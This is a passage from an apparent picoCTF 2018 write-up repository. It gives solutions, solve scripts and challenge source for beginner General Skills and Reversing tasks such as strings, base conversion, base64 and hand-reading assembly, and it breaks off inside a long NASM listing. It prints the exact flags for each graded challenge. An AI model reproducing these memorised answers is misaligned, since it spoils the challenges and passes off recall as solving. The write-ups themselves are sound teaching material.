auction_choice; fflush(stdin); scanf("%d", &auction_choice); if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } } else if(auction_choice == 2){ printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n"); printf("Enter 1 to purchase"); int bid = 0; fflush(stdin); scanf("%d", &bid); if(bid == 1){ if(account_balance > 100000){ printf("YOUR FLAG IS:\n"); } else{ printf("\nNot enough funds for transaction\n\n\n"); }} } } else{ con = 1; } } return 0; } ================================================ FILE: General Skills/strings/README.md ================================================ # strings Points: 100 ## Category General Skills ## Question >Can you find the flag in this [file]() without actually running it? You can also find the file in /problems/strings_2_b7404a3aee308619cb2ba79677989960 on the shell server. ### Hint >[strings](https://linux.die.net/man/1/strings) ## Solution We are given a file with non-printable characters. The _strings_ command prints all human-readable characters. We can use the _strings_ command and _grep_ the flag. Do `strings strings | grep pico` to get flag. ### Flag `picoCTF{sTrIngS_sAVeS_Time_3f712a28}` ================================================ FILE: General Skills/what base is this?/README.md ================================================ # what base is this? Points: 200 ## Category General Skills ## Question >To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with `nc 2018shell1.picoctf.com 1225`. ### Hint >I hear python is a good means (among many) to convert things. > >It might help to have multiple windows open ## Solution Convert to ASCII for the respective bases. Python or online tools can be used to help convert. 1. Convert from binary 2. Convert from hex 3. Convert from octal Working solution [solve.py](solution/solve.py). ### Flag `picoCTF{delusions_about_finding_values_451a9a74}` ================================================ FILE: General Skills/what base is this?/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import re s = remote('2018shell1.picoctf.com', 1225) binary = s.recvuntil('word.') print binary binary = re.findall(r'(\d+)', binary) ans = '' for i in binary: ans += chr(int(i, 2)) print 'SEND> ' + ans s.sendline(ans) hexa = s.recvuntil('word').strip() print hexa hexa = re.findall(r'([0-9a-f]+) as ', hexa)[0] ans = hexa.decode('hex') print 'SEND> ' + ans s.sendline(ans) octal = s.recvuntil('word.')[2:] print octal octal = re.findall(r'[0-9]+', octal) ans = '' for i in octal: ans += chr(int(i, 8)) print 'SEND> ' + ans s.sendline(ans) print s.recvuntil('}\n') s.close() ================================================ FILE: General Skills/you can't see me/README.md ================================================ # you can't see me Points: 200 ## Category General Skills ## Question >'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_3_1a39ec6c80b3f3a18610074f68acfe69. ### Hint >What command can see/read files? > >What's in the manual page of ls? ## Solution Doing `ls -la`, you can see the file with the period character as its name. As this character has special meaning when it comes to the linux file systems, when you try to _cat_ it normally, you get the error saying that the period character is a directory. Therefore you, can try using the _cat_ command by listing all files using the _*_ special character. Do `cat .*` to get the flag. ### Flag `picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_cf5156ef}` ================================================ FILE: README.md ================================================ # picoCTF 2018 Writeup This CTF was done with [@pauxy](https://github.com/pauxy) and [@StopDuckRoll](https://github.com/StopDuckRoll) Special thanks to [@LFlare](https://github.com/LFlare) for helping out with a few challenges! ### Forensics writeups Although it states that I may do some of the writeups for the forensics challenges, it's very unlikely it will ever be completed, mostly because those challenges were not solved by me, and I'm lazy. Pull requests are welcomed! # Content Page - [Binary Exploitation](#binary-exploitation) - [Cryptography](#cryptography) - [Forensics](#forensics) - [General Skills](#general-skills) - [Reversing](#reversing) - [Web Exploitation](#web-exploitation) ## Binary Exploitation
Challenges Points Status
buffer overflow 0 150 Solved
buffer overflow 1 200 Solved
leak-me 200 Solved
shellcode 200 Solved
buffer overflow 2 250 Solved
got-2-learn-libc 250 Solved
echooo 300 Solved
authenticate 350 Solved
got-shell? 350 Solved
rop chain 350 Solved
buffer overflow 3 450 Unsolved
echo back 500 Unsolved
are you root? 550 Unsolved
gps 550 Unsolved
can-you-gets-me 650 Solved
## Cryptography
Challenges Points Status
Crypto Warmup 1 75 Solved
Crypto Warmup 2 75 Solved
HEEEEEEERE'S Johnny! 100 Solved
caesar cipher 1 150 Solved
hertz 150 Solved
blaise's cipher 200 Solved
hertz 2 200 Solved
Safe RSA 250 Solved
caesar cipher 2 250 Solved
rsa-madlibs 250 Solved
SpyFi 300 Unsolved
Super Safe RSA 350 Solved
Super Safe RSA 2 425 Solved
Magic Padding Oracle 450 Unsolved
Super Safe RSA 3 600 Solved
James Brahm Returns 700 Unsolved
## Forensics
Challenges Points Status
Forensics Warmup 1 50 Solved
Forensics Warmup 2 50 Solved
Desrouleaux 150 Solved
Reading Between the Eyes 150 Solved
Recovering From the Snap 150 Solved
admin panel 150 Solved
hex editor 150 Solved
Truly an Artist 200 Solved
now you don't 200 Solved
Ext Super Magic 250 Unsolved
Lying Out 250 Solved
What's My Name? 250 Solved
core 350 Unsolved
Malware Shops 400 Unsolved
LoadSomeBits 550 Solved
## General Skills
Challenges Points Status
General Skills 1 50 Solved
General Skills 2 50 Solved
General Skills 3 50 Solved
Resources 50 Solved
grep 1 75 Solved
net cat 75 Solved
strings 100 Solved
pipe 110 Solved
grep 2 125 Solved
Aca-Shell-A 150 Solved
environ 150 Solved
ssh-keyz 150 Solved
what base is this? 200 Solved
you can't see me 200 Solved
absolutely relative 200 Solved
in out error 275 Solved
learn gdb 300 Solved
roulette 350 Solved
store 400 Solved
script me 500 Solved (@plusline)
Dog or Frog 900 Unsolved
## Reversing
Challenges Points Status
Reversing Warmup 1 50 Solved
Reversing Warmup 2 50 Solved
assembly-0 150 Solved
assembly-1 200 Solved
be-quick-or-be-dead-1 200 Solved
quackme 200 Solved
assembly-2 250 Solved
be-quick-or-be-dead-2 275 Solved
be-quick-or-be-dead-3 350 Solved
quackme up 350 Unsolved
Radix's Terminal 400 Solved
assembly-3 400 Solved
keygen-me-1 400 Unsolved
assembly-4 550 Solved
special-pw 600 Unsolved
## Web Exploitation
Challenges Points Status
Inspect Me 125 Solved
Client Side is Still Bad 150 Solved
Logon 150 Solved
Irish Name Repo 200 Solved
Mr. Robots 200 Solved
No Login 200 Solved
Secret Agent 200 Solved
Buttons 250 Solved
The Vault 250 Solved
Artisinal Handcrafted HTTP 3 300 Solved
Flaskcards 350 Solved
fancy-alive-monitoring 400 Solved
Secure Logon 500 Unsolved
Flaskcards Skeleton Key 600 Unsolved
Help Me Reset 2 600 Solved
A Simple Question 650 Solved
LambDash 3 800 Unsolved
================================================ FILE: Reversing/Radix's Terminal/README.md ================================================ # Radix's Terminal Points: 400 ## Category Reversing ## Question >Can you find the password to Radix's login? You can also find the executable in /problems/radix-s-terminal_0_b6b476e9952f39511155a2e64fb75248? ### Hint >https://en.wikipedia.org/wiki/Base64 ## Solution Based off the hint, we can assume the flag is being encoded in base64 just by doing _strings_ ``` cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNDE3OTk0NTF9 Please provide a password! Congrats, now where's my flag? Incorrect Password! ;*2$" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609 ``` putting the string cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNDE3OTk0NTF9 in a base 64 decode will return us the flag ### Flag `picoCTF{bAsE_64_eNCoDiNg_iS_EAsY_41799451}` ================================================ FILE: Reversing/Reversing Warmup 1/README.md ================================================ # Reversing Warmup 1 Points: 50 ## Category Reversing ## Question >Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_1_b416a2d0694c871d8728d8268d84ac5c on the shell server and run this [program](files/run) to retreive the flag? ### Hint >If you are searching online, it might be worth finding how to exeucte a program in command line. ## Solution Download the file and make it executable if needed to `chmod +x run` Run the file by doing `./run` ### Flag `picoCTF{welc0m3_t0_r3VeRs1nG}` ================================================ FILE: Reversing/Reversing Warmup 2/README.md ================================================ # Reversing Warmup 2 Points: 50 ## Category Reversing ## Question >Can you decode the following string `dGg0dF93NHNfczFtcEwz` from base64 format to ASCII? ### Hint >Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag. ## Solution ```python >>> print 'dGg0dF93NHNfczFtcEwz'.decode('base64') th4t_w4s_s1mpL3 ``` ### Flag `picoCTF{th4t_w4s_s1mpL3}` ================================================ FILE: Reversing/assembly-0/README.md ================================================ # assembly-0 Points: 150 ## Category Reversing ## Question >What does asm0(0xc9,0xb0) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. [Source](files/intro_asm_rev.S) located in the directory at /problems/assembly-0_4_0f197369bfc00a9211504cf65ac31994. ### Hint >basical assembly [tutorial](https://www.tutorialspoint.com/assembly_programming/assembly_basic_syntax.htm) > >assembly [registers](https://www.tutorialspoint.com/assembly_programming/assembly_registers.htm) ## Solution In assembly, the return value is always _eax_ ```asm asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov esp,ebp pop ebp ret ``` _eax_ has value _0xc9_ and _ebx_ has value _0xb0_. As the value of _eax_ is replaced with _ebx_ when `mov eax,ebx` is executed, the returned value is _0xb0_. ### Flag `0xb0` ================================================ FILE: Reversing/assembly-0/files/intro_asm_rev.S ================================================ .intel_syntax noprefix .bits 32 .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov esp,ebp pop ebp ret ================================================ FILE: Reversing/assembly-1/README.md ================================================ # assembly-1 Points: 200 ## Category Reversing ## Question >What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. [Source](files/eq_asm_rev.S) located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed. ### Hint >assembly [conditions](https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm) ## Solution The value takes _0x76_ and subtracts and adds _0x3_ until _0x73_ is left ### Flag `0x73` ================================================ FILE: Reversing/assembly-1/files/eq_asm_rev.S ================================================ .intel_syntax noprefix .bits 32 .global asm1 asm1: push ebp mov ebp,esp cmp DWORD PTR [ebp+0x8],0x98 jg part_a cmp DWORD PTR [ebp+0x8],0x8 jne part_b mov eax,DWORD PTR [ebp+0x8] add eax,0x3 jmp part_d part_a: cmp DWORD PTR [ebp+0x8],0x16 jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_b: mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d cmp DWORD PTR [ebp+0x8],0xbc jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_c: mov eax,DWORD PTR [ebp+0x8] add eax,0x3 part_d: pop ebp ret ================================================ FILE: Reversing/assembly-2/README.md ================================================ # assembly-2 Points: 250 ## Category Reversing ## Question >What does asm2(0x7,0x28) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. [Source](files/loop_asm_rev.S) located in the directory at /problems/assembly-2_4_f8bfecf223768f4cac035751390ea590. ### Hint >assembly [conditions](https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm) ## Solution Compile the asm together with another function that calls the _asm2_ function and prints it out ```asm [0x000011f4]> pdf / (fcn) loc.asm2 44 | loc.asm2 (int arg_8h, int arg_ch); | ; var int local_8h @ ebp-0x8 | ; var int local_4h @ ebp-0x4 | ; arg int arg_8h @ ebp+0x8 | ; arg int arg_ch @ ebp+0xc | ; CALL XREF from sym.main (0x11ca) | 0x000011f4 55 push ebp | 0x000011f5 89e5 mov ebp, esp | 0x000011f7 83ec10 sub esp, 0x10 | 0x000011fa 8b450c mov eax, dword [arg_ch] ; [0xc:4]=0 | 0x000011fd 8945fc mov dword [local_4h], eax | 0x00001200 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=0 | 0x00001203 8945f8 mov dword [local_8h], eax | ,=< 0x00001206 eb08 jmp loc.part_b | | ;-- part_a: | .--> 0x00001208 8345fc01 add dword [local_4h], 1 | :| 0x0000120c 83450876 add dword [arg_8h], 0x76 ; 'v' | :| ;-- part_b: | :| ; CODE XREF from loc.asm2 (0x1206) | :`-> 0x00001210 817d08dea100. cmp dword [arg_8h], 0xa1de ; [0xa1de:4]=-1 | `==< 0x00001217 7eef jle loc.part_a | 0x00001219 8b45fc mov eax, dword [local_4h] | 0x0000121c 89ec mov esp, ebp | 0x0000121e 5d pop ebp \ 0x0000121f c3 ret ``` ``` $ make all gcc -m32 -c loop.s -o loop.o gcc -m32 -c solve.c -o solve.o solve.c: In function ‘main’: solve.c:4:28: warning: implicit declaration of function ‘asm2’ [-Wimplicit-function-declaration] printf("Flag: 0x%x\n", asm2(0x7, 0x28)); ^~~~ gcc -m32 -o a.out solve.o loop.o ./a.out Flag: 0x188 ``` Working solution [solve.sh](solution/solve.sh) Thanks to [@LFlare](https://github.com/LFlare) for basically solving this. ### Flag `0x188` ================================================ FILE: Reversing/assembly-2/files/loop_asm_rev.S ================================================ .intel_syntax noprefix .bits 32 .global asm2 asm2: push ebp mov ebp,esp sub esp,0x10 mov eax,DWORD PTR [ebp+0xc] mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp+0x8] mov DWORD PTR [ebp-0x8],eax jmp part_b part_a: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp+0x8],0x76 part_b: cmp DWORD PTR [ebp+0x8],0xa1de jle part_a mov eax,DWORD PTR [ebp-0x4] mov esp,ebp pop ebp ret ================================================ FILE: Reversing/assembly-2/solution/Makefile ================================================ all: gcc -m32 -c loop.s -o loop.o gcc -m32 -c solve.c -o solve.o gcc -m32 -o a.out solve.o loop.o ./a.out clean: rm a.out *.o ================================================ FILE: Reversing/assembly-2/solution/loop.s ================================================ .intel_syntax noprefix .global asm2 asm2: push ebp mov ebp,esp sub esp,0x10 mov eax,DWORD PTR [ebp+0xc] mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp+0x8] mov DWORD PTR [ebp-0x8],eax jmp part_b part_a: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp+0x8],0x76 part_b: cmp DWORD PTR [ebp+0x8],0xa1de jle part_a mov eax,DWORD PTR [ebp-0x4] mov esp,ebp pop ebp ret ================================================ FILE: Reversing/assembly-2/solution/solve.c ================================================ #include int main() { printf("Flag: 0x%x\n", asm2(0x7, 0x28)); } ================================================ FILE: Reversing/assembly-2/solution/solve.sh ================================================ #!/bin/sh make all ================================================ FILE: Reversing/assembly-3/README.md ================================================ # assembly-3 Points: 400 ## Category Reversing ## Question >What does asm3(0xbda42100,0xb98dd6a5,0xecded223) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. [Source](files/end_asm_rev.S) located in the directory at /problems/assembly-3_4_05ce5be4420bf9bd2ff37caf87e32898. ### Hint >more(?) [registers](https://wiki.skullsecurity.org/index.php?title=Registers) ## Solution Compile the asm together with another function that calls the _asm3_ function and prints it out ```asm / (fcn) loc.asm3 31 | loc.asm3 (int arg_9h, int arg_ch, int arg_dh, int arg_10h); | ; arg int arg_9h @ ebp+0x9 | ; arg int arg_ch @ ebp+0xc | ; arg int arg_dh @ ebp+0xd | ; arg int arg_10h @ ebp+0x10 | ; CALL XREF from sym.main (0x11d5) | 0x000011ff 55 push ebp | 0x00001200 89e5 mov ebp, esp | 0x00001202 b8bc000000 mov eax, 0xbc | 0x00001207 30c0 xor al, al | 0x00001209 8a6509 mov ah, byte [arg_9h] ; [0x9:1]=0 | 0x0000120c 66c1e010 shl ax, 0x10 | 0x00001210 2a450c sub al, byte [arg_ch] | 0x00001213 02650d add ah, byte [arg_dh] | 0x00001216 66334510 xor ax, word [arg_10h] | 0x0000121a 89ec mov esp, ebp | 0x0000121c 5d pop ebp \ 0x0000121d c3 ret ``` ``` $ make all gcc -m32 -c end.s -o end.o gcc -m32 -c solve.c -o solve.o solve.c: In function ‘main’: solve.c:4:28: warning: implicit declaration of function ‘asm3’ [-Wimplicit-function-declaration] printf("Flag: 0x%x\n", asm3(0xbda42100, 0xb98dd6a5, 0xecded223)); ^~~~ gcc -m32 -o a.out solve.o end.o ./a.out Flag: 0x478 ``` ### Flag `0x478` ================================================ FILE: Reversing/assembly-3/files/end_asm_rev.S ================================================ .intel_syntax noprefix .bits 32 .global asm3 asm3: push ebp mov ebp,esp mov eax,0xbc xor al,al mov ah,BYTE PTR [ebp+0x9] sal ax,0x10 sub al,BYTE PTR [ebp+0xc] add ah,BYTE PTR [ebp+0xd] xor ax,WORD PTR [ebp+0x10] mov esp, ebp pop ebp ret ================================================ FILE: Reversing/assembly-3/solution/Makefile ================================================ all: gcc -m32 -c end.s -o end.o gcc -m32 -c solve.c -o solve.o gcc -m32 -o a.out solve.o end.o ./a.out clean: rm a.out *.o ================================================ FILE: Reversing/assembly-3/solution/end.s ================================================ .intel_syntax noprefix .global asm3 asm3: push ebp mov ebp,esp mov eax,0xbc xor al,al mov ah,BYTE PTR [ebp+0x9] sal ax,0x10 sub al,BYTE PTR [ebp+0xc] add ah,BYTE PTR [ebp+0xd] xor ax,WORD PTR [ebp+0x10] mov esp, ebp pop ebp ret ================================================ FILE: Reversing/assembly-3/solution/solve.c ================================================ #include int main() { printf("Flag: 0x%x\n", asm3(0xbda42100, 0xb98dd6a5, 0xecded223)); } ================================================ FILE: Reversing/assembly-3/solution/solve.sh ================================================ #!/bin/sh make all ================================================ FILE: Reversing/assembly-4/README.md ================================================ # assembly-4 Points: 550 ## Category Reversing ## Question >Can you find the flag using the following assembly [source](files/comp.nasm)? WARNING: It is VERY long... ### Hint >Hmm.. There must be an easier way than reversing the whole thing right? ## Solution Compile the code using _nasm_ and _gcc_. Run executable and get the flag. Note: The flag outputted is `picoCTF{1_h0p3_70u_c0mP1l3d_tH15_2390040222}`, however this doesn't work on the server. Refer to https://piazza.com/class/jkimphnvxey1qo?cid=65 to get the real flag Working solution [solve.sh](solution/solve.sh) ### Flag `picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_2350040222}` ================================================ FILE: Reversing/assembly-4/files/Makefile ================================================ all: nasm -f elf32 comp.nasm gcc -m32 comp.o ./a.out clean: rm a.out comp.o ================================================ FILE: Reversing/assembly-4/files/comp.nasm ================================================ global rrf0 global rrf1 global rrf2 global rrf3 global rrf4 global rrf5 global rrf6 global rrf7 global rrf8 global rrf9 global rrfcl global rrfscl global rrflt global rrfeq global rrfgt global rrfqm global rrfat global rrfA global rrfB global rrfC global rrfD global rrfE global rrfF global rrfG global rrfH global rrfI global rrfJ global rrfK global rrfL global rrfM global rrfN global rrfO global rrfP global rrfQ global rrfR global rrfS global rrfT global rrfU global rrfV global rrfW global rrfX global rrfY global rrfZ global rrflb global rrfbs global rrfrb global rrfct global rrfus global rrftl global rrfa global rrfb global rrfc global rrfd global rrfe global rrff global rrfg global rrfh global rrfi global rrfj global rrfk global rrfl global rrfm global rrfn global rrfo global rrfp global rrfq global rrfr global rrfs global rrft global rrfu global rrfv global rrfw global rrfx global rrfy global rrfz global rrflcb global rrfst global rrfrcb global rrf00 global add global sub global xor global main extern write SECTION .text rrf0: mov eax, 48 ret rrf1: mov eax, 49 ret rrf2: mov eax, 50 ret rrf3: mov eax, 51 ret rrf4: mov eax, 52 ret rrf5: mov eax, 53 ret rrf6: mov eax, 54 ret rrf7: mov eax, 55 ret rrf8: mov eax, 56 ret rrf9: mov eax, 57 ret rrfcl: mov eax, 58 ret rrfscl: mov eax, 59 ret rrflt: mov eax, 60 ret rrfeq: mov eax, 61 ret rrfgt: mov eax, 62 ret rrfqm: mov eax, 63 ret rrfat: mov eax, 64 ret rrfA: mov eax, 65 ret rrfB: mov eax, 66 ret rrfC: mov eax, 67 ret rrfD: mov eax, 68 ret rrfE: mov eax, 69 ret rrfF: mov eax, 70 ret rrfG: mov eax, 71 ret rrfH: mov eax, 72 ret rrfI: mov eax, 73 ret rrfJ: mov eax, 74 ret rrfK: mov eax, 75 ret rrfL: mov eax, 76 ret rrfM: mov eax, 77 ret rrfN: mov eax, 78 ret rrfO: mov eax, 79 ret rrfP: mov eax, 80 ret rrfQ: mov eax, 81 ret rrfR: mov eax, 82 ret rrfS: mov eax, 83 ret rrfT: mov eax, 84 ret rrfU: mov eax, 85 ret rrfV: mov eax, 86 ret rrfW: mov eax, 87 ret rrfX: mov eax, 88 ret rrfY: mov eax, 89 ret rrfZ: mov eax, 90 ret rrflb: mov eax, 91 ret rrfbs: mov eax, 92 ret rrfrb: mov eax, 93 ret rrfct: mov eax, 94 ret rrfus: mov eax, 95 ret rrftl: mov eax, 96 ret rrfa: mov eax, 97 ret rrfb: mov eax, 98 ret rrfc: mov eax, 99 ret rrfd: mov eax, 100 ret rrfe: mov eax, 101 ret rrff: mov eax, 102 ret rrfg: mov eax, 103 ret rrfh: mov eax, 104 ret rrfi: mov eax, 105 ret rrfj: mov eax, 106 ret rrfk: mov eax, 107 ret rrfl: mov eax, 108 ret rrfm: mov eax, 109 ret rrfn: mov eax, 110 ret rrfo: mov eax, 111 ret rrfp: mov eax, 112 ret rrfq: mov eax, 113 ret rrfr: mov eax, 114 ret rrfs: mov eax, 115 ret rrft: mov eax, 116 ret rrfu: mov eax, 117 ret rrfv: mov eax, 118 ret rrfw: mov eax, 119 ret rrfx: mov eax, 120 ret rrfy: mov eax, 121 ret rrfz: mov eax, 122 ret rrflcb: mov eax, 123 ret rrfst: mov eax, 124 ret rrfrcb: mov eax, 125 ret rrf00: mov eax, 0 ret add: movsx ecx, byte [esp+4H] sub ecx, 48 add ecx, dword [esp+8H] mov edx, 3524075731 mov eax, ecx imul edx add edx, ecx sar edx, 6 mov eax, ecx sar eax, 31 sub edx, eax imul edx, edx, 78 sub ecx, edx lea eax, [ecx+30H] ret sub: movsx ecx, byte [esp+4H] sub ecx, 48 sub ecx, dword [esp+8H] mov edx, 3524075731 mov eax, ecx imul edx add edx, ecx sar edx, 6 mov eax, ecx sar eax, 31 sub edx, eax imul edx, edx, 78 sub ecx, edx mov edx, ecx lea ecx, [ecx+7EH] lea eax, [edx+30H] test edx, edx cmovs eax, ecx ret xor: movsx ecx, byte [esp+4H] sub ecx, 48 mov eax, dword [esp+8H] and eax, 07H xor ecx, eax mov edx, 3524075731 mov eax, ecx imul edx add edx, ecx sar edx, 6 mov eax, ecx sar eax, 31 sub edx, eax imul edx, edx, 78 sub ecx, edx lea eax, [ecx+30H] ret main: lea ecx, [esp+4H] and esp, 0FFFFFFF0H push dword [ecx-4H] push ebp mov ebp, esp push esi push ebx push ecx sub esp, 60 push 39 push 73 call sub add esp, 8 mov byte [ebp-44H], al push 48 push 99 call sub add esp, 8 push 24 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-42H], al push 44 push 68 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 05H mov ebx, 3524075731 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-40H], cl push 41 push 121 call sub add esp, 8 push 47 movsx eax, al push eax call sub add esp, 8 movsx ecx, al sub ecx, 48 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-3EH], cl push 31 push 54 call sub add esp, 8 push 34 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-3CH], al push 54 push 55 call sub add esp, 8 push 49 movsx ecx, al add ecx, 6 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax lea eax, [ecx+30H] movsx eax, al push eax call sub add esp, 8 mov byte [ebp-3AH], al push 40 push 108 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 02H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-38H], cl mov byte [ebp-36H], 123 push 50 push 99 call sub add esp, 8 mov byte [ebp-34H], al mov byte [ebp-32H], 95 push 32 push 102 call sub add esp, 8 push 22 movsx eax, al push eax call sub add esp, 8 movsx ecx, al add ecx, 8 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-30H], cl push 20 push 107 call sub add esp, 8 push 39 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-2EH], al push 46 push 80 call sub add esp, 8 mov byte [ebp-2CH], al push 27 push 78 call sub add esp, 8 mov byte [ebp-2AH], al push 28 push 123 call sub add esp, 8 mov byte [ebp-28H], al mov byte [ebp-26H], 55 push 36 push 84 call sub add esp, 8 mov byte [ebp-24H], al push 33 push 107 call sub add esp, 8 push 39 movsx ecx, al sub ecx, 48 xor ecx, 04H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax lea eax, [ecx+30H] movsx eax, al push eax call sub add esp, 8 mov byte [ebp-22H], al push 49 push 66 call sub add esp, 8 mov byte [ebp-20H], al mov byte [ebp-1EH], 99 push 36 push 57 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 07H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl sub ecx, 22 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-1CH], cl mov byte [ebp-1AH], 109 mov byte [ebp-43H], 80 push 18 push 67 call sub add esp, 8 mov byte [ebp-41H], al push 32 push 112 call sub add esp, 8 push 25 movsx eax, al lea ecx, [eax+5H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-3FH], al push 37 push 109 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 06H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl add ecx, 3 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-3DH], cl push 31 push 49 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 04H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-3BH], cl push 23 push 118 call sub add esp, 8 mov byte [ebp-39H], al push 43 push 81 call sub add esp, 8 mov byte [ebp-37H], al push 34 push 61 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 03H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl sub ecx, 4 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-35H], cl push 51 push 100 call sub add esp, 8 mov byte [ebp-33H], al push 27 push 80 call sub add esp, 8 mov byte [ebp-31H], al mov byte [ebp-2FH], 95 push 40 push 110 call sub add esp, 8 push 42 movsx eax, al push eax call sub add esp, 8 movsx ecx, al sub ecx, 26 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-2DH], cl push 43 push 94 call sub add esp, 8 movsx eax, al lea ecx, [eax-30H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 movsx eax, al lea ecx, [eax-30H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 mov byte [ebp-2BH], al push 22 push 79 call sub add esp, 8 mov byte [ebp-29H], al push 20 push 104 call sub add esp, 8 movsx eax, al lea ecx, [eax-1EH] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 movsx eax, al lea ecx, [eax-18H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 mov byte [ebp-27H], al push 24 push 48 call sub add esp, 8 push 54 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-25H], al push 50 push 70 call sub add esp, 8 push 20 movsx eax, al push eax call sub add 